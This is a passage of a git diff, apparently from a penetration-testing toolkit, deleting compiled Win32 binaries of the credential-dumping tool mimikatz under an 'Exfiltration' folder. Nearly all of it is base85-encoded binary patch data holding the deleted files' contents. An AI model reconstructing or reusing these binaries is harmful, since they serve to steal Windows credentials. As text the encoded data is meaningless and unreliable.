zgaxUF-%_J$Rh_DbEolS~G^-ZXI_|}EsxH;7dQ`9KQ~h9uK{cd?)ri`uM%9=Kc?n*k zm*gdTk(if~6GY*O<^}n%8%05JP!f~|7q2P@JLGzLvUbI=mB z25qn@9YJT%1q^6JMUbD~aHwVozGf5`PuuPX3lE`eC2Y;qSmdbMYGi%`$R>^9)Ue?Gu z*&2`)a3!Y^Tbh^+kg-%!4m3E!o6w_zzTMohN9-Bj%y-@_qN%WKb6hF-;@WrEkiC^m1!0z<;BfhpLsllv(!wc8w z&IhtffM<>7S|GU*`0W5{PRDLCjG$Z7*Lu8 zWERu4;NTi?Z7;Am1m9>DP#7^vfxa4`ugmBM=0@Os@EDJUqWHZ>&2h*#f?TUGlI$mm z80jU`ls%~LpiyA55WJ>Q*b8p!k702LXdHo+8-=eG;tAlnBrshH(3u9dOCQH52j?lU zUKV&S2h5iX?#qv%wwRZI0V{#qYQ7#ESPK@c2M;!a2{n#e!G`VN!%i?_H#o5utk@qz z_7EQiH}1uEA`qS|QoxdF;K_6_rN(v>*sx0si&0=YWG0x2rbc#(83C@d%^WitLw7z# ztwrM)F9*uknw1!FR%6UrW7e8=W_=9xO=h#%@-^5W0Q!f_VKY%`4M>rxGHqNBW=RWv zTSR6-A97?==0Yo)RKxhFt;K7NA*aLZ#OQm>OT`#2&#wSd!r;7ma95}hzwe3eNyV6^ pgjACz(hW{Zq_}kGb4UV*BydOqha_-F0*54UNCJl>@OL1A{{^c>!|4D3 diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp b/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp deleted file mode 100644 index ce21b1639935cc8c9ddd1454fc21c648bafa3a1f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 816 zcmbtS%}T>S5T3MZRXntwJ><|siyB%LDN>;*Dn+fuLPcDVv{~!YO*U-OAAAzQs}JHU z`2;$%X=@N~4w>0+zU)rE$?TPtf!b^HR%QU!!IG&$e0C?M^9S=@+XwjH|9KT!Ot0=bAPWE47rqQqO|lJPfB=Rq!5Z=0I)HulY=cp zS@ay(7?%txVq7+;gpqXTpn`G5pdE~B1|674Z|U48dK*RFgH=EXr$_8U#LuH1YpV&@ z9TIUi4Y?LR4`NrcW-wMmzI!cvF?8b>=Fh-x)v2&M5$x}=R3CgA!Zy?kIV??r6QiH6 z#ui+QzE+WXitW;E*}iJFF5w-H3(%i<{}ducPrE`39;MU(pK_|()@q<#-#!*> diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib b/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib deleted file mode 100644 index 5328cbd8b079eefb6d37d9fe98f46411138feda7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1900 zcmcIlO>Wab6#ne|G(-qRg{~?jBPs!#)Jg2riwdP7NJMqh%1tG9Cd6$M;o>MQWyu9N z0E##OhhWhopo#?t;2z~Yd#1Ka=%2z!o|*UgdEWcxeKUTv+8g%=&x^}ix>ahHZkmRr zTWMSuW~FY3*_$GOIY2oDvIQX5Br_j9`3aDpxNdu6Yt!kvt(V&`oc30C({bPJ`hM^+ z82cVvx3gp0fBWE5>=e0lU+r|(-PT%njXoM4j9hm#e7_ITN5~+taAJOAek(D*91%QK zfI=2%l94C26J|)b0u?!A!zV*o-HxeXlgKy4FNueYFWZ@T)5@OjFKbs-($wqcm9&)% ztS@b6p4k#RCRp}%-+tI%+Kx=1MU&6c5Mu+SW_jrKj(ST~`RV~pe$ew<02vw^&`*S4 zUBD>OM5TDrkMRby6P3mV++h><(xjf?eu+1qm*mC@436hFhW&AH80;NsPn~C)-R`W1 zZ!dIr$>tAv0a9!@;~cokb4UlGO!~pWh*A!YzvApnhUBlfagHh^^9B%RJ&;Jqkz-{f zVz3VZIQKDQgz?ARiN>n~tHRDLd=E3^Jg2M13tz=uLNzss zvTD9bLyWAN|D}fO)b}Cf@y|=Dm{!cy=dEhRH;X)PzbHaf?ddyr$$2y7X0ayuyd_)W zycrT_zn{_&{%+(SP_EM_>aVA)mHc}TMRiC;3jU-bj@(%8XA@9u@)$n MLN{mhN4gm050?*g&;S4c diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.dll b/Exfiltration/mimikatz-1.0/Win32/klock.dll deleted file mode 100644 index d78b442d5a861b2a7f21430f4f1569b7904a8d1b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 133120 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 